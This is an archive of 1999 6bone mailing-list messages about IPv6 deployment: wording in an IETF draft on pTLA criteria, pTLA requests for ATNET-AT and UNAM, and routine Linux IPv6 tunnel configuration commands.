Subject: question in draft-ietf-ngtrans-harden-01.txt
From: kay (=?iso-2022-jp?B?GyRCJU4lMCVBJTElJBsoQg==?=)
 <kay@v6.access.co.jp>
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Hi, folks

I have one question in draft-ietf-ngtrans-harden-01.txt.
In Section 7.1, b, draft says

        appropriate hierarchy.  This includes a high uptime 
        availability of the site router (greater than 99%). This

What does this "99%" digit mean?

     1) availability of bgp peering with neighbours?
     2) availability of router machine itself?
     3) or something else?

Thanks in advance
--- 
kay

Koji Kondo ($B6aF#9@;V(B) <koji@dti.ad.jp> wrote


| $B:#!"=OFICf!#(B
| draft-ietf-ngtrans-harden-01.txt $B$N(B section 7 $B$K$F!"(B
| 
|      b. Fully maintained, and reliable, BGP4+ peering and connec-
|         tivity between the Applicant's boundary router with the
|         appropriate hierarchy.  This includes a high uptime 
|         availability of the site router (greater than 99%). This
|         router must be IPv6 pingable.
| 
| $B$3$3$N!"(B"This includes a high uptime availability of the site router 
| (greater than 99%)." $B$NItJ,$C$F!"$I$&$$$&$3$H$J$s$+$J!)(B
| 

From 6bone-owner  Mon Aug 30 08:39:14 1999
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Date: Mon, 30 Aug 1999 08:38:59 -0700
To: kay (=?iso-2022-jp?B?GyRCJU4lMCVBJTElJBsoQg==?=) <kay@v6.access.co.jp>
From: Bob Fink <fink@es.net>
Subject: Re: question in draft-ietf-ngtrans-harden-01.txt
Cc: 6BONE List <6bone@ISI.EDU>
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 <19990830165842W.koji@dti.ad.jp>
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At 06:04 PM 8/30/99 +0900, =?iso-2022-jp?B?GyRCJU4lMCVBJTElJBsoQg==?= wrote:
>Hi, folks
>
>I have one question in draft-ietf-ngtrans-harden-01.txt.
>In Section 7.1, b, draft says
>
>        appropriate hierarchy.  This includes a high uptime 
>        availability of the site router (greater than 99%). This
>
>What does this "99%" digit mean?
>
>     1) availability of bgp peering with neighbours?
>     2) availability of router machine itself?
>     3) or something else?

It is meant to be vague so so to imply high reliability in any and all
meaningful areas. It is unlikely it would ever be really measured as we are
by and large self policing, but it tries to convey intent.


Bob

From 6bone-owner  Mon Aug 30 09:51:06 1999
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To: 6bone@ISI.EDU
Subject: Re: question in draft-ietf-ngtrans-harden-01.txt
From: kay (=?iso-2022-jp?B?GyRCJU4lMCVBJTElJBsoQg==?=)
 <kay@v6.access.co.jp>
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	<19990830180402S.kay@v6.access.co.jp>
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Hi bob,
Thank you for quick reply.

| It is meant to be vague so so to imply high reliability in any and all
| meaningful areas. It is unlikely it would ever be really measured as we are
| by and large self policing, but it tries to convey intent.

I understand above.

Is this RFC standard style to mention reliability?

How about exactly mentioning like above(imply high reliability)
to avoid confusion?

P.S.
Sorry for appending your mail, koji ;p 

Bob Fink <fink@es.net> wrote

| At 06:04 PM 8/30/99 +0900, =?iso-2022-jp?B?GyRCJU4lMCVBJTElJBsoQg==?= wrote:
| >Hi, folks
| >
| >I have one question in draft-ietf-ngtrans-harden-01.txt.
| >In Section 7.1, b, draft says
| >
| >        appropriate hierarchy.  This includes a high uptime 
| >        availability of the site router (greater than 99%). This
| >
| >What does this "99%" digit mean?
| >
| >     1) availability of bgp peering with neighbours?
| >     2) availability of router machine itself?
| >     3) or something else?
| 
| It is meant to be vague so so to imply high reliability in any and all
| meaningful areas. It is unlikely it would ever be really measured as we are
| by and large self policing, but it tries to convey intent.
| 
| 
| Bob
--- 
kay

From 6bone-owner  Mon Aug 30 15:24:57 1999
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        6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: question in draft-ietf-ngtrans-harden-01.txt
Cc: Robert Rockell <rrockell@sprint.net>
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 <19990830165842W.koji@dti.ad.jp>
 <19990830180402S.kay@v6.access.co.jp>
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At 01:51 AM 8/31/99 +0900, =?iso-2022-jp?B?GyRCJU4lMCVBJTElJBsoQg==?= wrote:
>Hi bob,
>Thank you for quick reply.
>
>| It is meant to be vague so so to imply high reliability in any and all
>| meaningful areas. It is unlikely it would ever be really measured as we are
>| by and large self policing, but it tries to convey intent.
>
>I understand above.
>
>Is this RFC standard style to mention reliability?

Though this is to eventually be an RFC, it is an informational RFC, not a
standards track or experimental RFC, thus there aren't any hard and fast rules.


>How about exactly mentioning like above(imply high reliability)
>to avoid confusion?

Ok, I'll ask Rob Rockell as he is the author. 


Thanks,

Bob

From 6bone-owner  Mon Aug 30 18:22:57 1999
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Subject: Re: question in draft-ietf-ngtrans-harden-01.txt
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I will make changes (there a couple others I'd been meaning to make as well,
but have been busy with my real job) and post another draft by end of week.
good input. It seems like there should be something in there to quantify how
we give out pTLA's, especially if it is to be taken seriously, or it can be
used to influence how ARIN does it in the future, or whatever the scope of
this paper may be. Kay, do you have any ideas? I can't think of anything
quantitative that isn't militaristic. 

Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833
Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?

On Mon, 30 Aug 1999, Bob Fink wrote:

->At 01:51 AM 8/31/99 +0900, =?iso-2022-jp?B?GyRCJU4lMCVBJTElJBsoQg==?= wrote:
->>Hi bob,
->>Thank you for quick reply.
->>
->>| It is meant to be vague so so to imply high reliability in any and all
->>| meaningful areas. It is unlikely it would ever be really measured as we are
->>| by and large self policing, but it tries to convey intent.
->>
->>I understand above.
->>
->>Is this RFC standard style to mention reliability?
->
->Though this is to eventually be an RFC, it is an informational RFC, not a
->standards track or experimental RFC, thus there aren't any hard and fast rules.
->
->
->>How about exactly mentioning like above(imply high reliability)
->>to avoid confusion?
->
->Ok, I'll ask Rob Rockell as he is the author. 
->
->
->Thanks,
->
->Bob
->


From 6bone-owner  Mon Aug 30 19:14:46 1999
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To: rrockell@sprint.net
Cc: fink@es.net, 6bone@ISI.EDU
Subject: Re: question in draft-ietf-ngtrans-harden-01.txt
From: kay (=?iso-2022-jp?B?GyRCJU4lMCVBJTElJBsoQg==?=)
 <kay@v6.access.co.jp>
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	<Pine.GSO.3.96.990830212105.6254H-100000@iscone>
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Hi Rob,

Robert Rockell <rrockell@sprint.net> wrote

| I will make changes (there a couple others I'd been meaning to make as well,
| but have been busy with my real job) and post another draft by end of week.

Thank you for quick responce.

| good input. It seems like there should be something in there to quantify how
| we give out pTLA's, especially if it is to be taken seriously, or it can be
| used to influence how ARIN does it in the future, or whatever the scope of
| this paper may be. Kay, do you have any ideas? I can't think of anything
| quantitative that isn't militaristic. 

I think that any quantitative exclamation(99%) is confusing thing in this 
section, so that just "high uptime availability" is good enough.

If you use something quantitavive, please add some explanation what that
quantify means.

Thank you
--- 
kay

From 6bone-owner  Fri Sep  3 11:27:07 1999
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Date: Fri, 03 Sep 1999 19:25:03 +0100
From: Mounir EDDABBABI <Mounir.Eddabbabi@ensi.rnu.tn>
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Dear members,

Please advice where can I find further information on Quality of Service

Issue of IPv6.

Best regards


From 6bone-owner  Sat Sep  4 15:43:10 1999
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Date: Sat, 04 Sep 1999 15:38:29 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for ATNET-AT
Cc: Georg Hitsch <georg@atnet.at>
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6bone Folk,

Per the request from Georg Hitsch (below), I'm opening a two week review
period for a pTLA for ATNET-AT. I will close this on 20 September 99. 

Note that this will be a /28 pTLA assignment.

Comments either to the list or to me please.


Thanks, 

Bob 

===
>Date: Sat, 4 Sep 1999 18:39:51 +0200 (CEST)
>From: Georg Hitsch <georg@atnet.at>
>To: Bob Fink <fink@es.net>
>cc: Alain Durand <Alain.Durand@imag.fr>, Georg Hitsch <georg@atnet.at>
>Subject: Re: 28 Bit pTLA Assignments
>
>
>Hi Bob!
>
>I thing I met the criteria for a new pTLA site.
>
>I am currently connected to ipf.net (since May 99)
>My netname is: ATNET-AT
>My inet6num is: 3FFE:3400:300::/48
>
>My DNS-Server for forward/reverse-lookup is working
>(reverse-lookup not delegated international, yet)
>[nameserver: atlantis.atnet.at/babylon.atnet.at]
>
>>1. The site MUST have experience with IPv6 on the 6Bone, at least as
>>      a leaf site and preferably as a transit pNLA under an existing
>>      pTLA.
>We are currently have setuped 5 machines:
>
>3ffe:3400:300:0:0:0:1:0/126        
>        3ffe:3400:300:0:0:0:1:1         router1.ipv6.atnet.at
>        3ffe:3400:300:0:0:0:1:2         ge.org
>
>3ffe:3400:300:0:0:0:2:0/122  
>        3ffe:3400:300:0:0:0:2:1         router1.ipv6.atnet.at
>        3ffe:3400:300:0:0:0:2:2         bolide.ipv6.atnet.at
>        3ffe:3400:300:0:0:0:2:3         anix.ipv6.atnet.at
>        3ffe:3400:300:0:0:0:2:4         schnellix.ipv6.atnet.at
>
>>2. The site MUST have the ability and intent to provide "production-
>>      like" 6Bone backbone service to provide a robust and operationally
>>      reliable 6Bone backbone.
>Ok. (we have setuped the session to ipf.net with BGP4+; we have
>experience with maintaining our net (30 POPs in Austria, 41 BGP-Neigbours 
>(3 transit, 37 peerings, as7777-subscriber); Our AS-# is AS5424 ("Vienna
>Backbone Service"/at-net); Currently we are market-leader with
>leased-lines in Vienna, and around number 7 with "all internet-services"
>in Austria.
>
>> 3. The site MUST have a potential "user community" that would be
>>      served by becoming a pTLA, e.g., the requester is a major player
>>      in a region, country or focus of interest.
>see above
>Our customer list is at: http://www.vbs.at/benutzer.html
>
>>4. Must commit to abide by the 6Bone backbone operational rules and
>>      policies as defined in the present document.
>Ok.
>
>
>Do you thing, we can get an 6bone-ptla ?
>
>If yes, what are the next steps?
>
>Georg Hitsch, at-net
>
>-- 
> Georg Hitsch     ++ mail: georg@atnet.at
> ripe: gh231-ripe ++ web:  http://ge.org/
>

From 6bone-owner  Mon Sep  6 01:05:33 1999
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Date: Mon, 6 Sep 1999 16:05:40 +0800
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Hi,
I want to build a IPv6 site and who can tell me how to build it which =
need not buy from any vendors.
Thx.

***********************************************
Chen Xiuzhong
Network Test Lab
Institute of Computing Technology
Tel: 62565533-9218
***********************************************

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From 6bone-owner  Mon Sep  6 05:53:10 1999
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Date: Mon, 6 Sep 1999 14:52:32 +0200 (CEST)
From: Georg Hitsch <georg@atnet.at>
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To: Chen xiuzhong <chenxz@ict.ac.cn>
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Subject: Re: How to build a IPv6 router?
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Hi!

> I want to build a IPv6 site and who can tell me how to build it which need not buy from any vendors.
Please try linux as router; in my case it works very well.

If you have any further questions (or need some sample scripts), please
let me know.

Georg

-- 
 Georg Hitsch     ++ mail: georg@atnet.at
 ripe: gh231-ripe ++ web:  http://ge.org/


From 6bone-owner  Tue Sep  7 10:35:48 1999
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Date: Tue, 07 Sep 1999 10:35:19 -0700
From: "Luis Paz Ph. D." <phoenix1@pacbell.net>
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To: Bob Fink <fink@es.net>
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Subject: Re: pTLA request for ATNET-AT
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Has anyone heard more about the conference in Paris?

Bob Fink wrote:

> 6bone Folk,
>
> Per the request from Georg Hitsch (below), I'm opening a two week review
> period for a pTLA for ATNET-AT. I will close this on 20 September 99.
>
> Note that this will be a /28 pTLA assignment.
>
> Comments either to the list or to me please.
>
> Thanks,
>
> Bob
>
> ===
> >Date: Sat, 4 Sep 1999 18:39:51 +0200 (CEST)
> >From: Georg Hitsch <georg@atnet.at>
> >To: Bob Fink <fink@es.net>
> >cc: Alain Durand <Alain.Durand@imag.fr>, Georg Hitsch <georg@atnet.at>
> >Subject: Re: 28 Bit pTLA Assignments
> >
> >
> >Hi Bob!
> >
> >I thing I met the criteria for a new pTLA site.
> >
> >I am currently connected to ipf.net (since May 99)
> >My netname is: ATNET-AT
> >My inet6num is: 3FFE:3400:300::/48
> >
> >My DNS-Server for forward/reverse-lookup is working
> >(reverse-lookup not delegated international, yet)
> >[nameserver: atlantis.atnet.at/babylon.atnet.at]
> >
> >>1. The site MUST have experience with IPv6 on the 6Bone, at least as
> >>      a leaf site and preferably as a transit pNLA under an existing
> >>      pTLA.
> >We are currently have setuped 5 machines:
> >
> >3ffe:3400:300:0:0:0:1:0/126
> >        3ffe:3400:300:0:0:0:1:1         router1.ipv6.atnet.at
> >        3ffe:3400:300:0:0:0:1:2         ge.org
> >
> >3ffe:3400:300:0:0:0:2:0/122
> >        3ffe:3400:300:0:0:0:2:1         router1.ipv6.atnet.at
> >        3ffe:3400:300:0:0:0:2:2         bolide.ipv6.atnet.at
> >        3ffe:3400:300:0:0:0:2:3         anix.ipv6.atnet.at
> >        3ffe:3400:300:0:0:0:2:4         schnellix.ipv6.atnet.at
> >
> >>2. The site MUST have the ability and intent to provide "production-
> >>      like" 6Bone backbone service to provide a robust and operationally
> >>      reliable 6Bone backbone.
> >Ok. (we have setuped the session to ipf.net with BGP4+; we have
> >experience with maintaining our net (30 POPs in Austria, 41 BGP-Neigbours
> >(3 transit, 37 peerings, as7777-subscriber); Our AS-# is AS5424 ("Vienna
> >Backbone Service"/at-net); Currently we are market-leader with
> >leased-lines in Vienna, and around number 7 with "all internet-services"
> >in Austria.
> >
> >> 3. The site MUST have a potential "user community" that would be
> >>      served by becoming a pTLA, e.g., the requester is a major player
> >>      in a region, country or focus of interest.
> >see above
> >Our customer list is at: http://www.vbs.at/benutzer.html
> >
> >>4. Must commit to abide by the 6Bone backbone operational rules and
> >>      policies as defined in the present document.
> >Ok.
> >
> >
> >Do you thing, we can get an 6bone-ptla ?
> >
> >If yes, what are the next steps?
> >
> >Georg Hitsch, at-net
> >
> >--
> > Georg Hitsch     ++ mail: georg@atnet.at
> > ripe: gh231-ripe ++ web:  http://ge.org/
> >

--
Respectfully,




Luis Paz Ph.D.
Phoenix1@pacbell.net
ICQ 43150233
AIM Doc Paz1
206 328-9732


"I have not doubt the devil grins
At these seas of ink I spatter
Yea gods forgive my literary sins
For the other kind don't matter"
-Robert Service



From 6bone-owner  Tue Sep  7 15:03:01 1999
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Date: Mon, 06 Sep 1999 23:56:13 +0200
To: "Luis Paz Ph. D." <phoenix1@pacbell.net>, Bob Fink <fink@es.net>
From: Latif LADID <Latif.LADID@village.uunet.lu>
Subject: Re: pTLA request for ATNET-AT
Cc: 6BONE List <6bone@ISI.EDU>
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Please have a look at the IPv6 Forum web page 
( http://www.ipv6forum.com) section events.

You can download the program.

/Latif


At 10:35 7/09/99 -0700, Luis Paz Ph. D. wrote:
>Has anyone heard more about the conference in Paris?
>
>Bob Fink wrote:
>
>> 6bone Folk,
>>
>> Per the request from Georg Hitsch (below), I'm opening a two week review
>> period for a pTLA for ATNET-AT. I will close this on 20 September 99.
>>
>> Note that this will be a /28 pTLA assignment.
>>
>> Comments either to the list or to me please.
>>
>> Thanks,
>>
>> Bob
>>
>> ===
>> >Date: Sat, 4 Sep 1999 18:39:51 +0200 (CEST)
>> >From: Georg Hitsch <georg@atnet.at>
>> >To: Bob Fink <fink@es.net>
>> >cc: Alain Durand <Alain.Durand@imag.fr>, Georg Hitsch <georg@atnet.at>
>> >Subject: Re: 28 Bit pTLA Assignments
>> >
>> >
>> >Hi Bob!
>> >
>> >I thing I met the criteria for a new pTLA site.
>> >
>> >I am currently connected to ipf.net (since May 99)
>> >My netname is: ATNET-AT
>> >My inet6num is: 3FFE:3400:300::/48
>> >
>> >My DNS-Server for forward/reverse-lookup is working
>> >(reverse-lookup not delegated international, yet)
>> >[nameserver: atlantis.atnet.at/babylon.atnet.at]
>> >
>> >>1. The site MUST have experience with IPv6 on the 6Bone, at least as
>> >>      a leaf site and preferably as a transit pNLA under an existing
>> >>      pTLA.
>> >We are currently have setuped 5 machines:
>> >
>> >3ffe:3400:300:0:0:0:1:0/126
>> >        3ffe:3400:300:0:0:0:1:1         router1.ipv6.atnet.at
>> >        3ffe:3400:300:0:0:0:1:2         ge.org
>> >
>> >3ffe:3400:300:0:0:0:2:0/122
>> >        3ffe:3400:300:0:0:0:2:1         router1.ipv6.atnet.at
>> >        3ffe:3400:300:0:0:0:2:2         bolide.ipv6.atnet.at
>> >        3ffe:3400:300:0:0:0:2:3         anix.ipv6.atnet.at
>> >        3ffe:3400:300:0:0:0:2:4         schnellix.ipv6.atnet.at
>> >
>> >>2. The site MUST have the ability and intent to provide "production-
>> >>      like" 6Bone backbone service to provide a robust and operationally
>> >>      reliable 6Bone backbone.
>> >Ok. (we have setuped the session to ipf.net with BGP4+; we have
>> >experience with maintaining our net (30 POPs in Austria, 41 BGP-Neigbours
>> >(3 transit, 37 peerings, as7777-subscriber); Our AS-# is AS5424 ("Vienna
>> >Backbone Service"/at-net); Currently we are market-leader with
>> >leased-lines in Vienna, and around number 7 with "all internet-services"
>> >in Austria.
>> >
>> >> 3. The site MUST have a potential "user community" that would be
>> >>      served by becoming a pTLA, e.g., the requester is a major player
>> >>      in a region, country or focus of interest.
>> >see above
>> >Our customer list is at: http://www.vbs.at/benutzer.html
>> >
>> >>4. Must commit to abide by the 6Bone backbone operational rules and
>> >>      policies as defined in the present document.
>> >Ok.
>> >
>> >
>> >Do you thing, we can get an 6bone-ptla ?
>> >
>> >If yes, what are the next steps?
>> >
>> >Georg Hitsch, at-net
>> >
>> >--
>> > Georg Hitsch     ++ mail: georg@atnet.at
>> > ripe: gh231-ripe ++ web:  http://ge.org/
>> >
>
>--
>Respectfully,
>
>
>
>
>Luis Paz Ph.D.
>Phoenix1@pacbell.net
>ICQ 43150233
>AIM Doc Paz1
>206 328-9732
>
>
>"I have not doubt the devil grins
>At these seas of ink I spatter
>Yea gods forgive my literary sins
>For the other kind don't matter"
>-Robert Service
>
>
>
>


From 6bone-owner  Wed Sep  8 05:26:35 1999
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Date:   Wed, 8 Sep 1999 14:25:16 +0200
From: Rafal Maszkowski <rzm@icm.edu.pl>
To: Georg Hitsch <georg@atnet.at>
Cc: Chen xiuzhong <chenxz@ict.ac.cn>, 6bone@ISI.EDU
Subject: Re: How to build a IPv6 router?
Message-ID: <19990908142516.P7547@burza.icm.edu.pl>
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On Mon, Sep 06, 1999 at 02:52:32PM +0200, Georg Hitsch wrote:
> > I want to build a IPv6 site and who can tell me how to build it which need not buy from any vendors.
> Please try linux as router; in my case it works very well.
> If you have any further questions (or need some sample scripts), please
> let me know.

Some sample configuration files of our router (tunnels and mrtd setup) are in
ftp://ftp.6bone.pl/pub/ipv6/conf/

R.

From 6bone-owner  Thu Sep  9 16:50:34 1999
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Date: Thu, 09 Sep 1999 17:46:15 +0100
From: Walt Wright <wright@hal-pc.org>
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Subject: Comments solicited on Routers currently supporting IPv6
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After reviewing some of the documentation that Georg Hitsch has kindly
referred me to I would like to request comments on various routers that
currently support IPv6, especially the BayNetworks, 3com, Digital,
Hitachi, Nokia, Sumitomo & Telbit. These are the routers mentioned in
the Aug 26 99 document ( http://www.6bone.net/6bone_hookup.html) .

 Unfortunately, we are using the Ascend router and it does  not appear
to currently support IPv6.

Any comments concerning the pro & cons of the various routers, as
related to IPv6
application, would be greatly appreciated.

Thanks in advance for any information you may be willing to share.

Regards,
Walt Wright
Houston


From 6bone-owner  Tue Sep 14 09:14:53 1999
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Date: Tue, 14 Sep 1999 09:13:52 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for UNAM
Cc: Cesar Olvera <cesar@redes.unam.mx>
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6bone Folk,

Per the request from Cesar Olvera (below), I'm opening a two week review 
period for a pTLA for UNAM. I will close this on 28 September 99. 

Note that this will be a /28 pTLA assignment.

Comments either to the list or to me please.


Thanks, 

Bob 

===
>Date: Mon, 13 Sep 1999 21:23:27 -0600
>From: Cesar Olvera <cesar@redes.unam.mx>
>To: fink@es.net, Alain.Durand@imag.fr, Gabriela Medina <gabym@noc.unam.mx>
>Subject: pTLA request for UNAM
>
>Bob:
>
>This is a pTLA request for UNAM (Mexico National University,
>http://www.unam.mx).
>
>The UNAM is the biggest university in Mexico and we have a 21 Mbps
>Internet connection. 
>UNAM Network provides service to our students, teachers and researchers,
>plus to 
>many educational and government institutions of Mexico. 
>
>UNAM's IPv6 Network deployment is a task of  the UNAM Telecommunications
>Direction 
>(http://www.dtd.unam.mx), we would like to request one pTLA block,
>conformance to 
>RFC 2546:
>
>1. The site MUST have experience with IPv6 on the 6Bone, at least as a
>leaf site and preferably as a transit pNLA under an existing pTLA.
>
>UNAM is in 6Bone since june 99. In this moment UNAM is a pNLA of SPRINT
>pTLA 
>(3FFE:2900::/24) and FIBERTEL pTLA (3FFE:3800::/24).
>
>2. The site MUST have the ability and intent to provide "production-
>like" 6Bone backbone service to provide a robust and operationally
>reliable 6Bone backbone.
>
>We have experience maintaining our IPv4 Network (35, 000 hosts, 135 WAN
>links, 200 LAN, 
>11 Internet connection, 1/3 of Mexico's  Internet traffic). Currently we
>are working in UNAM's production IPv6 Network (http://www.ipv6.unam.mx)
>in collaboration with Nortel Networks. Soon we want provide tunnels for
>6Bone connection to mexican and latin american institutions.
>
>3. The site MUST have a potential "user community" that would be served
>by becoming a 
>pTLA, e.g., the requester is a major player  in a region, country or
>focus of interest.
>
>UNAM is one of the biggest IPv4 ISPs in Mexico and Latin America. In
>Mexico's Internet2 effort, UNAM is one of the main participants. In
>other hand, UNAM is the Mexico main research center in all scientific
>and social areas, for example we have the first Telecommunications
>Interoperability Lab in Mexico.
>
>4. Must commit to abide by the 6Bone backbone operational rules and
>policies as defined 
>in the present document.
>
>We understand that routing practices and we are agree.
>
>Thanks in advanced
>
>Cesar Olvera
>Interoperability Lab
>Telecommunications Direction
>UNAM
>MEXICO

From 6bone-owner  Tue Sep 14 20:18:25 1999
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     How does one get 6bone membership??   costs?  or is membership free?

     is the answer on www.6bone.net ?  like a FAQ.

     One thing I liked about Fidonet is it is free to be listed in nodelist.

     
ttyl,
-tkp
(<B>http://members.xoom.com/teknopuppy/dm-soft.htm</B>)


--- And in this cartooney, we are invading your WEBTV!
*** MYREADER v.3.14g.1999.08.15.r90.SW; made for Net-tamer.


From 6bone-owner  Wed Sep 15 13:20:07 1999
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Date: Wed, 15 Sep 1999 13:19:31 -0700
To: "anonymous" <teknopup@earthlink.net>
From: Bob Fink <fink@es.net>
Subject: Re: 6bone membership
Cc: <6bone@ISI.EDU>
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Chris,

At 08:18 PM 9/14/99 +0700, Chris R. Evans wrote:
>
>     How does one get 6bone membership??   costs?  or is membership free?

It is not really a membership, just folks that are using IPv6, thus it is
free to participate.


>     is the answer on www.6bone.net ?  like a FAQ.

I think it's mentioned somewhere, but maybe I should do a FAQ.


>     One thing I liked about Fidonet is it is free to be listed in nodelist.

We only have a registry which is free and open to register in, but
hopefully for people using IPv6 thru the 6bone, 6ren or other.


Regards,

Bob

From 6bone-owner  Thu Sep 16 09:59:05 1999
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Date: Thu, 16 Sep 1999 18:58:40 MET-DST
From: "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>
To: wright@hal-pc.org
CC: 6bone@ISI.EDU, woeber@cc.univie.ac.at
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Subject: RE: Comments solicited on Routers currently supporting IPv6
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  Walt,

>Any comments concerning the pro & cons of the various routers, as related
>to IPv6 application, would be greatly appreciated.
>
>Thanks in advance for any information you may be willing to share.
>
>Regards,
>Walt Wright
>Houston

  Have you got anything privately that is worth summarizing to the list?
  Or is it considered off topic for this list? If so my apologies.
  
 --------------------------------------------------------------------------
  Wilfried Woeber                :  e-mail: Woeber@CC.UniVie.ac.at
  Computer Center - ACOnet       :  Tel: +43 1 4277 - 140 33
  Vienna University              :  Fax: +43 1 4277 - 9 140
  Universitaetsstrasse 7         :  RIPE-DB (&NIC) Handle: WW144
  A-1010 Vienna, Austria, Europe :  PGP public key ID 0xF0ACB369
 __________________________________________________________________________

From 6bone-owner  Mon Sep 20 09:34:49 1999
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Date: Mon, 20 Sep 1999 09:34:36 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: new 6bone pTLA 3FFE:8060::/28 assigned to ATNET-AT
Cc: Georg Hitsch <georg@atnet.at>, Bill Manning <bmanning@ISI.EDU>
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I would like to announce the assignment of a pTLA to ATNET-AT based on the
comments received during the open review period.

Please note that this is a 28-bit pTLA.

--- 

ATNET-AT (also known as the VBS, the Vienna Backbone Service) is a Vienna,
Austria based ISP. 

3FFE:8060::/28 
netname: ATNET-AT

<http://www.ip.qwest.net/~david/cgi-bin/whois?atnet-at>

---

Welcome ATNET-AT to the 6bone backbone!

Bob 

--=====================_7853788==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
I would like to announce the assignment of a pTLA to ATNET-AT based on
the comments received during the open review period.<br>
<br>
Please note that this is a 28-bit pTLA.<br>
<br>
--- <br>
<br>
ATNET-AT (also known as the VBS, the Vienna Backbone Service) is a
Vienna, Austria based ISP. <br>
<br>
3FFE:8060::/28 <br>
netname: ATNET-AT<br>
<br>
&lt;<a href="http://www.ip.qwest.net/~david/cgi-bin/whois?atnet-at" eudora="autourl"><font color="#0000FF"><u>http://www.ip.qwest.net/~david/cgi-bin/whois?atnet-at</a></font></u>&gt;<br>
<br>
---<br>
<br>
Welcome ATNET-AT to the 6bone backbone!<br>
<br>
Bob <br>
</html>

--=====================_7853788==_.ALT--


From 6bone-owner  Mon Sep 20 13:24:32 1999
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To: 6bone@ISI.EDU
Subject: NRL 6Bone EOL
X-Copyright: Copyright 1999, Craig Metz, All Rights Reserved.
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Date: Mon, 20 Sep 1999 16:23:52 -0400
From: Craig Metz <cmetz@inner.net>
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  As NRL is no longer doing IPv6 work, it's hard for us to justify the effort
needed to maintain a presence on the 6Bone. Therefore, we've decided to fold up
shop and withdraw from the 6Bone.

  If you connect to the 6Bone via NRL, please make arrangements for alternate
connectivity and let us know when we can tear down your tunnel. We'd like to
provide enough time for everyone to have graceful transition, but we are under
some internal time pressures to complete this tear-down, so I'd like to push
this along fairly quickly and also would like to know as soon as people have
moved away.

									-Craig

From 6bone-owner  Tue Sep 21 08:18:01 1999
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To: deployment@ipv6.org, ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com,
        6bone@ISI.EDU, namedroppers@internic.net
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Please do not respond to this mail.

The mail address for the directorate is tech@ipv6forum.com

IPv6 Deployment Technical Directorate.

Directorate:
Jim Bound & Co-Chair 
Perry Metzger & Co-Chair 
Tim Hartrick
Peter Tattam 
Cyndi Jung  
Jack McCann 
Brian Zill 
Francis Dupont 
Marc Blanchet 
Dale Finkelson 
Thomas Ekland 
Stig Venaas 
Brian Haberman 
Matt Crawford 
Bob Halley 
Carl Williams 
Ivano Guardini 
Henk Steenman 

Advisors:
Bob Hinden 
Steve Deering 
Brian Carpenter 
Allison Mankin 
Christian Huitema 
Bob Fink 
Charlie Perkins 
Scott Bradner 

/jim

From 6bone-owner  Thu Sep 23 04:46:34 1999
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Date: Thu, 23 Sep 1999 13:46:15 +0200 (MET DST)
From: Tomas Lund <tlund@nxs.se>
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Subject: Linux with sit0 and several tunnels?
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Is anyone out there using linux 2.2/glibc 2.1 to set up multiple tunnels
using numbered tunnel interfaces? My setup today looks like this:

ifconfig sit0 inet6 add 3ffe:200:1:1c::2
route -A inet6 add 3ffe::0/16 gw ::193.10.66.219 dev sit0
route -A inet6 add 3ffe:240:2::/48 gw ::139.58.254.40 dev sit0

The first route is the one to my upstream pTLA (SICS) and the other is a
tunnel to another linuxbox (unnumbered tunnel endpoints), but now i need
to set up another tunnel to a solarisbox that wants IPv6-addresses for the
tunnel endpoints, does anyone know how to do this, I'd hate to spend
severaly days experimenting if this information is available somewhere :) 

Best Regards, Tomas Lund


From 6bone-owner  Thu Sep 23 08:32:18 1999
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Date: Thu, 23 Sep 1999 17:32:34 +0200
To: Tomas Lund <tlund@nxs.se>, 6bone@ISI.EDU
Subject: Re: Linux with sit0 and several tunnels?
References: <Pine.LNX.3.95.990923132847.13663k-100000@ns.forma.se>
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On Thu, Sep 23, 1999 at 01:46:15PM +0200, Tomas Lund wrote:
> 
> Is anyone out there using linux 2.2/glibc 2.1 to set up multiple tunnels
> using numbered tunnel interfaces? My setup today looks like this:
> 
> ifconfig sit0 inet6 add 3ffe:200:1:1c::2
> route -A inet6 add 3ffe::0/16 gw ::193.10.66.219 dev sit0
> route -A inet6 add 3ffe:240:2::/48 gw ::139.58.254.40 dev sit0
> 
> The first route is the one to my upstream pTLA (SICS) and the other is a
> tunnel to another linuxbox (unnumbered tunnel endpoints), but now i need
> to set up another tunnel to a solarisbox that wants IPv6-addresses for the
> tunnel endpoints, does anyone know how to do this, I'd hate to spend
> severaly days experimenting if this information is available somewhere :) 

You can do

ifconfig sit0 tunnel ::$IP4END
ifconfig sit1 up
ifconfig sit1 add $IP6END/64

where IP4END and IP6END are the remote IPv4 and IPv6 addresses. You
can add more tunnels by repeating the first line, you will get sit2,
sit3 and so on. To use the tunnels you add routes to sit1, sit2..

Stig

-- 
Stig Venaas
UNINETT/NTNU

From 6bone-owner  Thu Sep 23 11:28:18 1999
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Date: Thu, 23 Sep 1999 15:27:03 -0300
From: =?iso-8859-1?Q?Horacio_J=2E_Pe=F1a?= <horape@compendium.com.ar>
To: Tomas Lund <tlund@nxs.se>
Cc: 6bone@ISI.EDU
Subject: Re: Linux with sit0 and several tunnels?
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¡Hola!


> Is anyone out there using linux 2.2/glibc 2.1 to set up multiple tunnels
> using numbered tunnel interfaces? My setup today looks like this:

> ifconfig sit0 inet6 add 3ffe:200:1:1c::2
> route -A inet6 add 3ffe::0/16 gw ::193.10.66.219 dev sit0
> route -A inet6 add 3ffe:240:2::/48 gw ::139.58.254.40 dev sit0

> The first route is the one to my upstream pTLA (SICS) and the other is a
> tunnel to another linuxbox (unnumbered tunnel endpoints), but now i need
> to set up another tunnel to a solarisbox that wants IPv6-addresses for the
> tunnel endpoints, does anyone know how to do this, I'd hate to spend
> severaly days experimenting if this information is available somewhere :) 

Try something like:

ip tunnel add SICS mode sit remote 193.10.66.219
ip link set SICS up
ip route add 3ffe::0/16 dev SICS

ip tunnel add linuxbox mode sit remote 139.58.254.40
ip link set linuxbox up
ip route add 3ffe:240:2::0/48 dev linuxbox

ip tunnel add solarisbox mode sit remote <ip-of-the-solaris-box>
ip link set solarisbox up
